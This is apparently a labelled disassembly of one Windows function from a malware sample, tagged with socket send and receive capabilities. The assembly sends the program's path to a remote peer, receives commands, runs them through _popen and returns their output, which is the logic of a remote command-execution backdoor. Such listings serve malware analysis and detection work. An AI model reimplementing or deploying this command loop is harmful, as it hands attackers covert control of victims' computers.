Function at 0x401630
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403c5b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x168
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x120]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x178], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016b0
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x178]
call fcn.00402b20
cmp dword [ebp - 0x164], 0xf
lea eax, [ebp - 0x178]
push 0
push dword [ebp - 0x168]
cmova eax, dword [ebp - 0x178]
push eax
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x401731
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401727
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401727
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402fe8
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
mov dword [ebp - 4], 0
nop dword [eax]
push 0x4000
push 0
push 0x4074e0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x4000
push 0x4074e0
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, 0x4074e0
mov dword [ebp - 0x128], 0
xorps xmm0, xmm0
mov dword [ebp - 0x124], 0
movups xmmword [ebp - 0x138], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017b2
sub ecx, edx
push ecx
push 0x4074e0
lea ecx, [ebp - 0x138]
call fcn.00402b20
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x138]
mov edi, dword [ebp - 0x124]
cmp edi, 0xf
mov edx, dword [ebp - 0x138]
mov esi, dword [ebp - 0x128]
cmova ecx, edx
cmp esi, 4
jne 0x401831
mov eax, dword [ecx]
mov edx, 0x405298
cmp eax, dword [edx]
je 0x40181a
cmp al, byte [edx]
jne 0x40181e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40181e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40181e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x40181e
xor eax, eax
jmp 0x401823
sbb eax, eax
or eax, 1
test eax, eax
je 0x401b4a
mov edx, dword [ebp - 0x138]
cmp edi, 0xf
lea ecx, [ebp - 0x138]
cmova ecx, edx
cmp esi, 5
jne 0x40189b
mov eax, dword [ecx]
lea edi, [esi - 4]
mov edx, str.error
cmp eax, dword [edx]
jne 0x40185b
add ecx, 4
mov edi, 0xfffffffd
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x401882
cmp edi, 0xfffffffd
je 0x40187e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x401882
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x401882
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x401882
xor eax, eax
jmp 0x401887
sbb eax, eax
or eax, 1
test eax, eax
je 0x401b4a
mov edi, dword [ebp - 0x124]
mov edx, dword [ebp - 0x138]
test esi, esi
je 0x401b4a
mov eax, edi
sub eax, esi
push 5
push str._2_1
cmp eax, 5
jb 0x4018d9
lea eax, [esi + 5]
cmp edi, 0xf
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x138]
cmova eax, edx
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 5], 0
jmp 0x4018f3
mov byte [ebp - 0x15c], 0
lea ecx, [ebp - 0x138]
push dword [ebp - 0x15c]
push 5
call fcn.00402c00
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x138]
push 0x4052b0
cmova eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov edi, eax
add esp, 8
mov dword [ebp - 0x154], edi
test edi, edi
je 0x4019f4
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
test eax, eax
jne 0x4019ea
nop dword [eax + eax]
push edi
lea eax, [ebp - 0x120]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
je 0x4019d8
lea esi, [ebp - 0x120]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401963
mov edx, dword [ebp - 0x13c]
sub esi, ecx
mov ecx, dword [ebp - 0x140]
mov eax, edx
sub eax, ecx
push esi
cmp esi, eax
ja 0x4019b8
lea eax, [ecx + esi]
cmp edx, 0xf
mov dword [ebp - 0x140], eax
lea edi, [ebp - 0x150]
cmova edi, dword [ebp - 0x150]
lea eax, [ebp - 0x120]
add edi, ecx
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov byte [edi + esi], 0
add esp, 0xc
mov edi, dword [ebp - 0x154]
jmp 0x4019d8
lea eax, [ebp - 0x120]
mov byte [ebp - 0x160], 0
push eax
push dword [ebp - 0x160]
lea ecx, [ebp - 0x150]
push esi
call fcn.00402c00
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
test eax, eax
je 0x401940
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
sub esp, 0x18
lea ecx, [ebp - 0x150]
mov edi, esp
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
cmp dword [ebp - 0x13c], 0xf
mov eax, dword [ebp - 0x140]
cmova ecx, dword [ebp - 0x150]
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x154], eax
cmp eax, 0x7fffffff
ja 0x401be5
cmp eax, 0xf
ja 0x401a58
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], 0xf
movups xmm0, xmmword [ecx]
movups xmmword [edi], xmm0
jmp 0x401ade
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401a74
mov ecx, connect
mov esi, closesocket
add ecx, 0x23
jmp 0x401a98
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
je 0x401abf
cmp eax, 0x1000
jb 0x401ab6
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401be0
push ecx
call fcn.00402d67
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x401b76
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x401abf
push eax
call fcn.00402d67
add esp, 4
mov ecx, dword [ebp - 0x154]
mov dword [edi + 0x10], ecx
inc ecx
push ecx
push dword [ebp - 0x158]
mov dword [edi], eax
push eax
mov dword [edi + 0x14], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call fcn.00401350
add esp, 0x18
mov dword [ebp - 0x140], 0
cmp dword [ebp - 0x13c], 0xf
lea eax, [ebp - 0x150]
cmova eax, dword [ebp - 0x150]
mov byte [ebp - 4], 0
mov byte [eax], 0
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x401760
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401b3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401b76
push ecx
push edx
call fcn.00402fe8
add esp, 8
jmp 0x401760
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x401b86
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401b7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b7c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0xf
jbe 0x401bc2
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401bb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401bb8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402d59
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004012a0
call fcn.00401340
int3